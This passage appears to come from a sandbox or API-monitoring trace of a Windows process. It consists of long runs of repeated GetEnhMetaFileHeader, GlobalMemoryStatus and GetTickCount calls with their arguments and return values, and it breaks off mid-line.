lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.485] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.486] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.487] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.488] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.489] GetEnhMetaFileHeader (in: hemf=0x0, nSize=0x0, lpEnhMetaHeader=0x18fecc | out: lpEnhMetaHeader=0x18fecc) returned 0x0 [0097.663] lstrlenA (lpString="") returned 0 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.664] GetTickCount () returned 0x5a30 [0097.664] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.665] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.665] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.666] GetTickCount () returned 0x5a30 [0097.666] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.667] GetTickCount () returned 0x5a30 [0097.667] GlobalMemoryStatus (in: 